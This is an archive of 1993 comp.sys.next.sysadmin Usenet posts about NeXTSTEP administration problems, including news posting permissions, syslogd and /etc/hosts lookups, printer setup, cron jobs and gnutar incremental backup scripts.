Subject: Newsgrazer Q: more on posting
Message-ID: <1993May27.185533.2625@frogware.com>
Sender: ben@frogware.com
Organization: frogware
Date: Thu, 27 May 1993 18:55:33 GMT
Ok, now I'd like to have my signature line, and not the generic one somebody is
sticking in. What do I do?
If I uncheck the ignore sig box in newsgrazer, I get mine AND the generic one.
My, this IS fun.
--
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Ben Bernhard
frogware
ben@frogware.com
Newsgroups: comp.sys.next.sysadmin
From: root@frogware.com
Subject: Newsgrazer posting
Message-ID: <1993May27.181747.1814@frogware.com>
Sender: root@frogware.com (Operator)
Organization: frogware
Date: Thu, 27 May 1993 18:17:47 GMT
Help!
I can only post from my root account, why? Posting under any other account
results in a dead.article file.
I've seen this question asked before, but have never seen any answer. I'd
mutch appreciate any help.
Please respond to:
Ben Bernhard
ben@frogware.com
NeXTmail welcome
Newsgroups: comp.sys.next.sysadmin
From: ben@frogware.com (Ben Bernhard)
Subject: Re: Newsgrazer posting
Message-ID: <1993May27.185129.2448@frogware.com>
Sender: ben@frogware.com
Organization: frogware
References: <1993May27.181747.1814@frogware.com>
Date: Thu, 27 May 1993 18:51:29 GMT
Finally figured it out, I needed to add myself (the ben user, and any others
that should be able to post) to the "news" group- just used user manager.
If this is a bad idea, and there is a better way to do this, somebody pls tell
me!
In article <1993May27.181747.1814@frogware.com> root@frogware.com writes:
> Help!
> I can only post from my root account, why? Posting under any other account
> results in a dead.article file.
> I've seen this question asked before, but have never seen any answer. I'd
> mutch appreciate any help.
>
> Please respond to:
> Ben Bernhard
> ben@frogware.com
> NeXTmail welcome
--
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Ben Bernhard
frogware
ben@frogware.com
NeXT mail welcome
--
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Ben Bernhard
frogware
ben@frogware.com
Newsgroups: comp.sys.next.sysadmin
From: ben@frogware.com (Ben Bernhard)
Subject: SLIP and PPP experiences
Message-ID: <1993May28.012932.4382@frogware.com>
Sender: ben@frogware.com
Organization: frogware
Date: Fri, 28 May 1993 01:29:32 GMT
I'm considering setting myself up with a slip or ppp connection to the office.
I'd like to hear about your experiences.
Speed issues are especially important- Is it reasonable to mount the remote
file system? I'm probably going to be using a 14.4 ZYXEL modem, and of course
my wonderful _still black_ hardware.
How difficult is it to get set up (relative to the uucp connection I have now).
What additional utilities will I need & where can I get them? Does it take much
effort to maintain once set up?
Any pointers/suggestions/hints would be greatly appreciated.
thanks,
ben
--
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Ben Bernhard
frogware
ben@frogware.com
From: wjabi@libra.arch.umich.edu (Wassim M. Jabi)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP: local root directory shows up under /Net????
Date: 28 May 1993 01:53:54 GMT
Organization: University of Michigan Engineering, Ann Arbor
Distribution: usa
Message-ID: <1u3rbiINNhl8@srvr1.engin.umich.edu>
I don't know if this has been answered before:
My machine name is "libra" and I have
mounted two other nexts on /Net (next1 and golden).
Sometimes, when I go to /Net I find:
golden
libra
next1
and libra is exactly the root dir of my machine and
keeps recursing like that!
Any one seen this before, knows a solution?
Re-booting the machine clears it up.
Please e-mail me.
--
Wassim M. Jabi (313) 936-0229
Doctoral Program in Architecture, University of Michigan
2000 Bonisteel Boulevard Ann Arbor Michigan 48105-2313
wjabi@libra.arch.umich.edu NeXTMail-friendly
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: the number of processes - question(s)
Date: 28 May 1993 16:48:00 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1u5fo0$b90@mathserv.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
(i) What is the default number of processes in NeXT 3.0 (3.1) allowable for a
user AND for root before it starts to tell you that "no more processes..."
(ii) How do I change the default number?
(iii) What's a maximum number which is OK? (I am the only reular user of
my NeXT + 4 occasional users).
Please respond by email. Thanks. Take care...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
From: brad@instep.wimsey.bc.ca
Subject: /etc/hosts intro comment is bullshit... Lies! Lies! Lies!
Message-ID: <1993May28.180158.389@instep.wimsey.bc.ca>
Sender: brad@instep.wimsey.bc.ca (Bradley Head)
Organization: InStep Mobile Communications Inc.
Date: Fri, 28 May 1993 18:01:58 GMT
I'm getting rather annoyed at NeXT and their ignorance of BSD UNIX. How is
it that with each release of NEXTSTEP, NeXT manages to break one more UNIX
tool? Do they have no shame?
Case in point:
The first few lines of the /etc/hosts file it says the following:
#
# NOTE: This file is never consulted if NetInfo or Yellow Pages is
# running.
#
Life Rule Number 4,002,983: Never believe _never_. If you do, you'll be
wasting your time and your companies time. As of Release 3.0, NeXT
has yet to understand the fragile nature of UNIX.
I've been trying all day to get the following syslog daemon configuration
file (on host whiterock) to work:
#
# /etc/syslog.conf - on host whiterock.
#
# forward local1, and local2 to syslogd on host vancouver
#
local1.debug @vancouver
local2.debug @vancouver
When syslogd starts up it says it can't find host vancouver. Okay, why
not? Well, it starts up as an early daemon, so perhaps netinfo isn't
available at the time syslogd needs the host information. That would seem
logical. So, I send syslogd a HUP signal which causes it to re-read its
configuration file. There, that ought to take care of it... Nope!
Still no logging is taking place on host vancouver.
That's when I call bullshit to the _NOTE_ in /etc/hosts file. I enter
the ip address and name of vancouver into /etc/hosts file, in this case :
#
# /etc/hosts - on host whiterock
#
192.42.172.1 vancouver
NOW, I send a HUP signal to syslogd on whiterock, and, well what do you
know? - logging is now taking place. Syslogd on whiterock can now forward
messages to the syslogd on host vancouver.
Gee, that seems to conflict with the statement in /etc/hosts.
Quit feeding us bullshit, NeXT! I wish NeXT would appreciate the POWER of
UNIX and its collection of very useful tools, and learn to respect that
POWER by leaving well enough alone what they do not fully understand.
brad.
--
Bradley Head
Software Developer, InStep Mobile Communications Inc.
brad@instep.wimsey.bc.ca (NeXTmail accepted)
604 872-7116 fax: 604 872-7125
Newsgroups: comp.sys.next.sysadmin
From: obrooks@dale.ksc.nasa.gov(Oscar Brooks)
Subject: NewSGrazer Problem
Message-ID: <1993May28.181020.2060@dale.ksc.nasa.gov>
Keywords: News NNTP
Sender: news@dale.ksc.nasa.gov
Organization: NASA
Date: Fri, 28 May 1993 18:10:20 GMT
I am using a SparcStation 2 as a news server for a bunch of NeXT
computers. The NeXT use an appliaction (NewsGrazer) that has nntp
built into it to communicate with nntp on the SUN. Everything has
been working fine for about 8 months until suddenly the appliaction on
the NeXT dies and breaks the connection to the SUN. In trying to determine
what is going we have noticed that the SUN, when it gets a nntp
connection,
starts spawning numerous "localhost.sunsrpc". This is evident when you do
a
"netstat -a" on the SUN. Eventually the SUN creates to many sockets and
uses all the resources. I have also tired just connecting to the SUN
via "telnet SUN-NAME nntp" and numerous sockets still get created. The
outcome is the same with using up all the resources. Can anyone give me a
idea of what is wrong? Please respond to "obrooks@picard.ksc.nasa.gov" due
to news server not being reliable. Oh, if you use "trn" on the SUN it
still
works fine. Following is example output of "netstat -a":
dale# netstat -a
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp 0 0 localhost.3573 localhost.sunrpc
TIME_WAIT
tcp 0 0 localhost.3572 localhost.sunrpc
TIME_WAIT
tcp 0 0 localhost.3571 localhost.sunrpc
TIME_WAIT
tcp 0 0 localhost.3570 localhost.sunrpc
TIME_WAIT
tcp 0 0 localhost.3569 localhost.sunrpc
TIME_WAIT
tcp 0 0 localhost.3568 localhost.sunrpc
TIME_WAIT
tcp 0 0 localhost.3567 localhost.sunrpc
TIME_WAIT
tcp 0 0 localhost.3566 localhost.sunrpc
TIME_WAIT
tcp 0 0 localhost.3565 localhost.sunrpc
TIME_WAIT
tcp 0 0 localhost.3564 localhost.sunrpc
TIME_WAIT
tcp 0 0 localhost.3563 localhost.sunrpc
TIME_WAIT
tcp 0 0 localhost.3562 localhost.sunrpc
TIME_WAIT
tcp 0 0 localhost.3561 localhost.sunrpc
TIME_WAIT
tcp 0 0 localhost.3560 localhost.sunrpc
TIME_WAIT
tcp 0 0 localhost.3559 localhost.sunrpc
TIME_WAIT
tcp 0 702 dale.login worf.1023
ESTABLISHED
tcp 0 0 dale.nntp laforge.3136
ESTABLISHED
tcp 0 0 *.printer *.* LISTEN
tcp 0 0 *.chargen *.* LISTEN
tcp 0 0 *.daytime *.* LISTEN
tcp 0 0 *.discard *.* LISTEN
tcp 0 0 *.echo *.* LISTEN
tcp 0 0 *.time *.* LISTEN
tcp 0 0 *.finger *.* LISTEN
tcp 0 0 *.uucp *.* LISTEN
tcp 0 0 *.nntp *.* LISTEN
tcp 0 0 *.exec *.* LISTEN
tcp 0 0 *.login *.* LISTEN
tcp 0 0 *.shell *.* LISTEN
tcp 0 0 *.telnet *.* LISTEN
tcp 0 0 *.ftp *.* LISTEN
tcp 0 0 *.728 *.* LISTEN
tcp 0 0 *.725 *.* LISTEN
tcp 0 0 *.720 *.* LISTEN
tcp 0 0 *.716 *.* LISTEN
tcp 0 0 *.715 *.* LISTEN
tcp 0 0 *.* *.* CLOSED
tcp 0 0 *.713 *.* LISTEN
tcp 0 0 *.smtp *.* LISTEN
tcp 0 0 *.sunrpc *.* LISTEN
udp 0 0 *.1035 *.*
udp 0 0 *.1034 *.*
udp 0 0 *.1033 *.*
udp 0 0 *.1032 *.*
udp 0 0 *.1031 *.*
udp 0 0 *.1030 *.*
udp 0 0 *.chargen *.*
udp 0 0 *.daytime *.*
udp 0 0 *.discard *.*
udp 0 0 *.echo *.*
udp 0 0 *.time *.*
udp 0 0 *.talk *.*
udp 0 0 *.biff *.*
udp 0 0 *.name *.*
udp 0 0 *.731 *.*
udp 0 0 *.1029 *.*
udp 0 0 *.1028 *.*
udp 0 0 *.1027 *.*
udp 0 0 *.1026 *.*
udp 0 0 *.713 *.*
udp 0 0 *.* *.*
udp 0 0 *.710 *.*
udp 0 0 *.2049 *.*
udp 0 0 *.syslog *.*
udp 0 0 *.659 *.*
udp 0 0 *.sunrpc *.*
udp 0 0 *.1025 *.*
Active UNIX domain sockets
Address Type Recv-Q Send-Q Vnode Conn Refs Nextref Addr
ff65040c stream 0 0 fd838f78 0 0 0
/dev/printer
ff64960c dgram 0 0 fd83dc78 0 0 0 /dev/log
ff649b8c dgram 0 0 0 0 0 0
ff64b00c dgram 0 0 0 0 0 0
ff74978c dgram 0 0 0 0 0 0
THANKS !!
O
--
------------------------------------------------
Oscar Brooks
Mail Code: DL-DSD-24
Kennedy Space Center, Fla. 32899
Internet: obrooks@dale.ksc.nasa.gov
From: blake015@mc.duke.edu (Denise Blakeley)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Need help--trouble installing RCS
Message-ID: <15538@news.duke.edu>
Date: 28 May 93 20:03:25 GMT
Sender: news@news.duke.edu
Followup-To: comp.sys.next.sysadmin
I have installed GNU version 3.2 of diff/diff3 on our system in
/usr/local/bin. Now I'm trying to install RCS (version 5.6).
Outside of a few compiler warnings, the install appeared to go
just fine. But when I run 'make installtest', it konks out
during a test of rcsmerge.
I wrote to the e-mail address provided in the RCS README for advice.
He suggested that when this happens it's generally because either the
Makefile defines for diff3 are incorrect, or because the vendor-
supplied (i.e., NeXT) diff3 is lacking in some way. That's all.
I checked my RCS Makefile, and it's looking in /usr/local/bin for
diff3 just as it should. So that eliminates both of his suggestions.
Has anyone had any experience with this recently and figured out the
problem?
Thanks--
Denise
--
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Duke Med Center Info Systems | to banging one's head against a wall,
Durham, NC | but with fewer opportunities for
(919) 282-6468 W | reward.
blake015@mc.duke.edu |
Newsgroups: comp.sys.next.sysadmin
From: kris@black.toppoint.de (Kristian Koehntopp)
Subject: Re: set user cron job
Message-ID: <1993May28.151322.12935@black.toppoint.de>
Organization: Toppoint Mailbox e.V.
References: <1993May26.154841.10125@kakwa.ucs.ualberta.ca> <C7nF0v.8Dr@northstar.com>
Date: Fri, 28 May 1993 15:13:22 GMT
Reproduktion, auch auszugsweise, ausserhalb elektronischer,
nichtkommerzieller Datennetze nur mit ausdruecklichem,
schriftlichem Einverstaendnis des Autors.
In <C7nF0v.8Dr@northstar.com> A Ried Thiel (ried@NorthStar.com) writes:
>0 1 * * * root su <username> -c '<program>'
>This cron entry would run every morning at 1:00am as the user that you
>substitute in <username>.
What is wrong with
0 1 * * * <username> program?
Kristian
--
Kristian Koehntopp, Harmsstrasse 98, DW-2300 Kiel, +49 431 676689
"Unsere Modems koennen den GCC inzwischen auswendig."
-- Heiko Blume
From: hans@symbas.UUCP (Hans Aafloy)
Newsgroups: comp.sys.next.sysadmin
Subject: messy output from cron process
Message-ID: <3820@symbas.UUCP>
Date: 28 May 93 10:49:12 GMT
Distribution: world
Organization: LindMac A/S, Trondheim, Norway
The following hitch is about as minor as it is annoying:
This nice little script: find /mydir -depth -print -exec rm {} \;
is called "rmdat", and works fine when invoked from a command line.
It's invoked from crontab like this :
0 * * * * root /autodel/rmdat > /usr/adm/auto.delete
which works fine too - exept for one thing: The output file
"auto.delete" is completely messed up. It seems that each file
is tried removed ( or, perhaps rmdat is invoked ) several times
when invoked from cron, so multiple reports are produced, which messes
the output file up.
Have any of you experienced anything similar ??
Thankful for all hints
hans
Newsgroups: comp.sys.next.sysadmin
From: heberlei@cs.ucdavis.edu (Louis Todd Heberlein)
Subject: LaserWriter Pro 630 on NeXT
Message-ID: <C7rD1y.nE@ucdavis.edu>
Sender: usenet@ucdavis.edu (News Administrator)
Organization: University of California, Davis
Date: Fri, 28 May 1993 22:27:33 GMT
Greetings,
I have been trying to hook up an Apple LaserWriter Pro 630 to my
NeXTstation (running NS 3.0), and I have been having some problems.
The printer is connected via a mini-8 to mini-8 serial cable
(mini-8 = RS422). I have done the following:
On the LaserWriter:
o Places the switch to position 5 giving the following...
port: 8-pin/RS-422 (mini-8 like the on on the NeXT)
type: serial
baud rate: 9600 (I have also tried 19200)
Parity: None
Data Bits: 8
Stop Bits: 1
Flow Cntrl: XON/XOFF
Protocol: Normal
Mode: postScript
On the NeXTstation:
o Created my own printcap file and loaded it with:
niload printcap / < myprintcap
o I have tries different settings in the printcap (from the
very simple, to detailed ones). The most recent is:
3031: \
:lf=/usr/adm/lpd-errs:sf=:sb=:mx=0: \
:br=9600:\
:if=/usr/lib/NextPrinter/Server/prserver: \
:cf=/usr/lib/NextPrinter/Server/pscf: \
:df=/usr/lib/NextPrinter/Server/psdf: \
:gf=/usr/lib/NextPrinter/Server/psgf: \
:nf=/usr/lib/NextPrinter/Server/psnf: \
:rf=/usr/lib/NextPrinter/Server/psrf: \
:tf=/usr/lib/NextPrinter/Server/pstf: \
:vf=/usr/lib/NextPrinter/Server/psvf:ty=LaserWriter Pro 630: \
:note=Isn't this wonderful????:nxformat=3.0: \
:sd=/usr/spool/NeXT/3031:af=/usr/adm/3031.acct:_writers=*:
o After failing to print anything, I have modified the
printer set-up with PrintManager. For example, I tried
to set the "Type" (see Modify under PrintManager) to
Apple LaserWriter IIg (i figure that is the closest).
But in the end, none of this seems to have worked. If anyone could
help me, I would greatly appreciate it.
Thanks,
Todd heberlei@cs.ucdavis.edu
Unfortunately, nothing seems to work. Ca
Newsgroups: comp.sys.next.sysadmin
From: spagiola@frinext.stanford.edu (Stefano Pagiola)
Subject: Using the internal for swapfile
Message-ID: <1993May28.225957.4950@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Fri, 28 May 93 22:59:57 GMT
I now have a large external and am using that as a boot disk. I want
to use the internal for the swapfile. Is it correct that I should
mount it at /private/vm/swapfile?
Ciao, Stefano
--
-
Stefano Pagiola
Food Research Institute, Stanford University
spagiola@frinext.stanford.edu (NeXTMail encouraged)
spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
From: blake015@mc.duke.edu (Denise Blakeley)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Need help--trouble installing RCS (fixed; new problem)
Message-ID: <15547@news.duke.edu>
Date: 28 May 93 23:14:53 GMT
References: <15538@news.duke.edu>
Sender: news@news.duke.edu
Denise Blakeley writes
> I have installed GNU version 3.2 of diff/diff3 on our system in
> /usr/local/bin. Now I'm trying to install RCS (version 5.6).
> Outside of a few compiler warnings, the install appeared to go
> just fine. But when I run 'make installtest', it konks out
> during a test of rcsmerge.
>
> I wrote to the e-mail address provided in the RCS README for advice.
> He suggested that when this happens it's generally because either the
> Makefile defines for diff3 are incorrect, or because the vendor-
> supplied (i.e., NeXT) diff3 is lacking in some way. That's all.
That was me a few hours ago. Well, I just got a response from the RCS
bug/problem e-mail address, and it turns out that if you have diff
3.2 on your system then you have to get RCS 5.6.0.1. I downloaded
the newer version and installed everything just fine.
If only the MIT archive site had been up-to-date on both, this wouldn't
have happened! :-(
New problem: I installed the new RCS man pages in /usr/man/man1, right where
the installer wants to, right over the old ones. I also ran catman. So
how is it that when I do 'man rcs' I still get the old page?? The only other
manpage directory I know of is /usr/local/man, and they're not in there.
Denise
--
Denise Blakeley | PROGRAM, tr. v., An activity similar
Duke Med Center Info Systems | to banging one's head against a wall,
Durham, NC | but with fewer opportunities for
(919) 282-6468 W | reward.
blake015@mc.duke.edu |
From: tobi@pcmp.caltech.edu (Tobi Delbruck)
Newsgroups: comp.sys.next.sysadmin
Subject: can i use fstab for NFS filesystems?
Date: 29 May 1993 00:11:01 GMT
Organization: California Institute of Technology, Pasadena
Message-ID: <1u69mlINNc0j@gap.caltech.edu>
Keywords: netinfo, /etc/fstab
does anyone know how to get mount to look at /etc/fstab
for disks to mount?
the comments in /etc/rc and
in /etc/fstab suggest that mount will look in /etc/fstab
if netinfo is not running. i tried turning off netinfo
and rebooting, but mount still doesn't look in fstab for nfs mounts.
(we don't need netinfo here because we use yellowpages
from another server)
any hints appreciated
-tobi
Newsgroups: comp.sys.next.sysadmin
From: eric%basilisk@src.honeywell.com (Eric D. Engstrom)
Subject: Re: /bin/su sez: "No shell" - workspace login problem
Message-ID: <C7rqKv.2A5@basilisk.uucp>
Keywords: permissions problem solved
Sender: eric@basilisk.uucp (Eric D. Engstrom)
Organization: anonymous
Date: Sat, 29 May 1993 03:19:43 GMT
About a week or so ago, I posted a note about a problem I was having after
getting a new, pre-installed 3.0 HD:
-=> - /bin/su <some-user-not-in-wheel-group>
-=> When I try to su to another user who is not in the wheel group
-=> (everybody on my machine except my-login and "root"),
-=> su says: "No shell".
Well, after a couple of days, a friendly soul came through w/ the answer:
The permissions on the root directory were, well, shall we say "incompatible
w/ some unknown bug."
I had removed world (other) write permissions from "/", but forgot and left
the directory sticky bit on ("t" shown in the last column); for those who
might not know, this feature allows files to be created by anyone, but only
deleted by the creator or root.
Anyway, after doing a "chmod 755 /.", everything worked again (including the
stalled sendmail queue !)
Happily NEXTSTEPping it again ;-)
Eric
+------------
Eric D. Engstrom, Honeywell Systems & Research Center, Mpls, MN, USA
engstrom@src.honeywell.com -or- NeXT: eric%basilisk@src.honeywell.com
< I eat from the four food groups: Barley, Hops, Yeast, Water >
From: bosborne@nature.BErkeley.EDU
Newsgroups: comp.sys.next.sysadmin
Subject: Re: gnutar example
Date: 29 May 1993 00:55:07 -0400
Organization: The Ohio State University
Sender: daemon@magnus.acs.ohio-state.edu
Message-ID: <9305290454.AA27118@nature.berkeley.edu.cnr-net>
Previously I wrote :
>> To the group,
>>
>> Please excuse my beginner's question, but my explorations have not
>> yielded any answers to this problem. I would like to use gnutar to
>> do an incremental backup to my tapedrive. Could someone supply an
>> example command to me? gnutar backs up, but ignore '+update' no
>> matter where I put it. Please respond to my address, and I will
>> gladly summarize to the group (or is this just _too_ elementary :-).
>>
>> Thank you for your attention to this matter,
Thank you Tim, Magnus, and Dave, for your responses.
Here they are :
FROM: imsgtcar@sinc.oscs.montana.edu (Tim Carlson)
(comp.unix.admin)
Here is a simple shell script that I use to do incremental tar
backups of my /usr/user1 directory.
So I use the +newer option to grab files that need to be archived.
Hope this helps...
:
mt rewind
dow=`date +%w`
mt -f /dev/nrmt0h fsf $dow
olddate=`cat /usr/local/etc/dumpdate`
/usr/local/bin/gnutar +newer "$olddate" -cf /dev/nrmt0h /usr/user1
echo "incremental dump done on `date`" | mail imsgtcar
date > /usr/local/etc/dumpdate
--
Tim Carlson
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
FROM: Magnus Nordborg <magnus@fisher.Stanford.EDU>
(comp.sys.next.sysadmin)
Here is a script I use:
#! /usr/local/bin/tcsh -f
#
# Incremental backups that put level-0 on tape on a remote host, and puts
# the other levels (compressed) as file on disk on the same host.
#
### Variables to modify
set TAPE_HOST = kimura
set DEVICE = /dev/nrst0
set REMOTE_DIR = /u/magnus/Backup
set OPERATOR = magnus
set DIRECTORY_LIST = ( / /local )
set BACKUP_DIR = /usr/local/etc/tar-backup
### For the "-z" option of tar to work under cron
set path = ( /usr/local/bin )
### Small things
set script = $0
set script = $script:t
### Checks
set logfile = ${BACKUP_DIR}/${script}.log
if ( -e $logfile ) then
echo "$logfile already exists\! $0 failed." | /bin/tee -a $logfile
/bin/date | /bin/tee -a $logfile
goto fail
endif
if ( $#argv != 1 ) goto usage
if ( $argv[1] !~ [0-9] ) goto usage
### Start doing things
foreach dir ( $DIRECTORY_LIST )
if ( "$dir" == "/" ) then
set dirname = root
else
set dirname = `echo $dir | /bin/awk -F/ '{print $NF}'`
endif
set label = "Level $argv[1] backup of ${HOST}:$dir on `/bin/date`."
echo "${label}.." | /bin/tee -a $logfile
set day = `/bin/date | /bin/awk '{print $2 "-" $3 "-" $6 }'`
set new_increm_file = ${BACKUP_DIR}/${HOST}:${dirname}-level-${argv[1]}
if ( $argv[1] ) then # NOT a full (level 0) backup
@ level = $argv[1]
@ level--
set tape_file = ${REMOTE_DIR}/${HOST}:${dirname}-level-${argv[1]}-${day}.z
set increm_file = ${BACKUP_DIR}/${HOST}:${dirname}-level-$level
/bin/cp $increm_file ${increm_file}.tmp
/usr/local/bin/tar -c -f ${TAPE_HOST}:"$tape_file" \
-g ${increm_file}.tmp -l -p -S -V "$label" -z $dir |& /bin/tee -a $logfile
if ( $status ) then
echo "tar failed\!" | /bin/tee -a $logfile
goto fail
else
echo "tar succeded\!" | /bin/tee -a $logfile
/bin/mv ${increm_file}.tmp $new_increm_file
set files = `/usr/ucb/rsh ${TAPE_HOST} "/usr/bin/ls -c
${REMOTE_DIR}/*${dirname}-level-${argv[1]}*"`
@ i = 2
while ( $i <= $#files )
echo "Removing $files[$i] on ${TAPE_HOST}." | /bin/tee -a $logfile
/usr/ucb/rsh ${TAPE_HOST} "/bin/rm $files[$i]" |& /bin/tee -a $logfile
@ i++
end
endif
else # Full (level 0) backup
set tape_file = ${DEVICE}
/usr/local/bin/tar -c -b 100 -f ${TAPE_HOST}:"${tape_file}" \
-g ${new_increm_file}.tmp -l -p -S -V "$label" $dir |& /bin/tee -a $logfile
if ( $status ) then
echo "tar failed\!" | /bin/tee -a $logfile
goto fail
else
echo "tar succeded\!" | /bin/tee -a $logfile
/bin/mv ${new_increm_file}.tmp $new_increm_file
endif
endif
end
/usr/ucb/Mail -s "Output from $0" $OPERATOR < $logfile
/bin/rm -f $logfile
exit 0
usage:
echo "Usage: $0 level" | /bin/tee -a $logfile
fail:
/usr/ucb/Mail -s "$0 failed\!" $OPERATOR < $logfile
exit 1
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
From: David Meyer <dmm0t@rincewind.mech.virginia.edu>
(comp.sys.next.sysadmin)
I had a similar problem, which I solved by using "find" in conjunction
with gnutar. Basically what I use now to back up /Users is
cd /Users
find . -mtime -1 -xdev -type f ! -name *.o -print > /tmp/backup-list
gnutar -cf /tmp/backup.tar -T /tmp/backup-list
It's lo-tech, but it works.
Dave
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Hope these are useful to others as they are to me!
------------------------------------------------------------
Brian Osborne Plant Gene Expression Center
bosborne@insect.berkeley.edu Albany CA USA
------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin
From: sam@musical.fdn.org (Sam Przyswa)
Subject: Re: autonfsmount dies / SLIP problem
Message-ID: <1993May28.195853.6772@musical.fdn.org>
Sender: sam@musical.fdn.org
Organization: Rock'n Jazz BBS - (The Music Land)
References: <36227@oasys.dt.navy.mil>
Date: Fri, 28 May 1993 19:58:53 GMT
In article <36227@oasys.dt.navy.mil> curt@oasys.dt.navy.mil (Curt Welch)
writes:
>
> No one on the net sent me any answers, but I found the solution to my
> problem with the help of another local NeXT programmer. The answer was
> quite simple. The host name and IP address of the system wasn't in
> netinfo. (i.e. /etc/hosts). I assumed that HostManager would add the
> name and address to netinfo but it doens't. You have to do it by
> hand.
>
Hi Curt, I have the same problem and my /etc/hosts is like that...
--------------------------
#
192.42.172.1 musical
192.42.172.2 client1
192.42.172.3 client2
192.42.172.4 client3
192.42.172.5 client4
192.42.172.6 client5
192.42.172.7 client6
192.42.172.8 client7
192.42.172.9 client8
#
# This is the reserved address for the loopback interface. Don't muck
# with it.
#
127.0.0.1 localhost
---------------------------
Where is the mistake ???
Sam
--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sam Przyswa << Rock©n Jazz BBS >>
E-Mail: sam@musical.fdn.org Paris FidoNet: 2:320/102
--<NeXTmail accepted 10Ko max>-- France Music & Midi BBS
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: /etc/hosts intro comment is bullshit... Lies! Lies! Lies!
Message-ID: <1993May29.123822.6621@csus.edu>
Followup-To: comp.sys.next.sysadmin
Sender: news@csus.edu
Organization: San Francisco State University
References: <1993May28.180158.389@instep.wimsey.bc.ca>
Date: Sat, 29 May 1993 12:38:22 GMT
In article <1993May28.180158.389@instep.wimsey.bc.ca>
brad@instep.wimsey.bc.ca writes:
>The first few lines of the /etc/hosts file it says the following:
># NOTE: This file is never consulted if NetInfo or Yellow Pages is
># running.
>I've been trying all day to get the following syslog daemon configuration
>file (on host whiterock) to work:
>local1.debug @vancouver
>local2.debug @vancouver
>When syslogd starts up it says it can't find host vancouver. Okay, why
>not? Well, it starts up as an early daemon, so perhaps netinfo isn't
>available at the time syslogd needs the host information. That would seem
>logical.
If you look at /etc/rc, you'll see that syslogd starts up long
before either NIS or NetInfo are available. So it's pretty
obvious that any hosts referenced in /etc/syslog.conf need to be
identified in /etc/hosts.
> So, I send syslogd a HUP signal which causes it to re-read its
>configuration file. There, that ought to take care of it... Nope!
Hmm...
>Still no logging is taking place on host vancouver.
>That's when I call bullshit to the _NOTE_ in /etc/hosts file.
Is lookupd running at that point? Does starting syslogd with the
-d option produce any meaningful diagnostic output?
>Quit feeding us bullshit, NeXT! I wish NeXT would appreciate the POWER of
>UNIX and its collection of very useful tools, and learn to respect that
>POWER by leaving well enough alone what they do not fully understand.
Uh, yeah. What does Sun do? They start syslogd late, preceded
by a comment that begins
# syslogd doesn't belong here, but needs to be started before the others.
No kidding! Not only are startup problems not logged, but this
arguably introduces a potential security vulnerability.
I just don't see any major problem--and in any case, there's
nothing wrong with /etc/hosts, or its embedded comment. I could
suggest NeXT eliminate any ambiguity by calling
_old_gethostbyname() [or worse?] ... does it really make sense
to compromise syslogd's self-sufficiency?
syslogd is a can of worms. I doubt much good comes from opening
it. And be careful what you wish for--it could go away and be
replaced by "NEXTLOG with Portable Distributed Objects Support"
which they'd later sell to a third party (and make you pay extra
for).
Anyway, this complaint sounds more like "pilot error" than
anything else.
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: cowboy@trans.csuohio.edu (Joe Rosenfeld)
Subject: How to set Disk Quotas on NS 3.x?
Message-ID: <1993May29.153834.15553@news.csuohio.edu>
Sender: news@news.csuohio.edu (USENET News System)
Organization: Cleveland State University
Date: Sat, 29 May 1993 15:38:34 GMT
I was looking forward to setting BSD-type disk quotas on selected user
accounts yesterday. I set up the /etc/fstab with quota substituting for
no quota on a single disk, for testing purposes, you see, but there
appear to be none of the BSD utilities on disk quotaing.
I hope I am missing something. Am I?
Thanks
--
| Joe Rosenfeld cowboy@trans.csuohio.edu
| CSU Law Library j.rosenfeld@csuohio.edu
Newsgroups: comp.sys.next.sysadmin
From: kenny@niagara.ucs.ualberta.ca (Kenny Leung)
Subject: Banner pages
Message-ID: <1993May29.180742.21399@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Sat, 29 May 1993 18:07:42 GMT
Hi All.
I am trying to get banner pages to print on the NeXT printer, but having no luck. I have made th
e necessary changes to both the printcap entry and /usr/lib/transcript/psint.sh, and nothing.
Has anyone done this before? Please shed some light on the subject.
--
-------------------------------------------------------
Kenny Leung
University of Alberta
kenny@niagara.ucs.ualberta.ca
Ph: 403-492-9343
Fax: 403-492-1729
From: mrc@Ikkoku-Kan.Panda.COM (Mark Crispin)
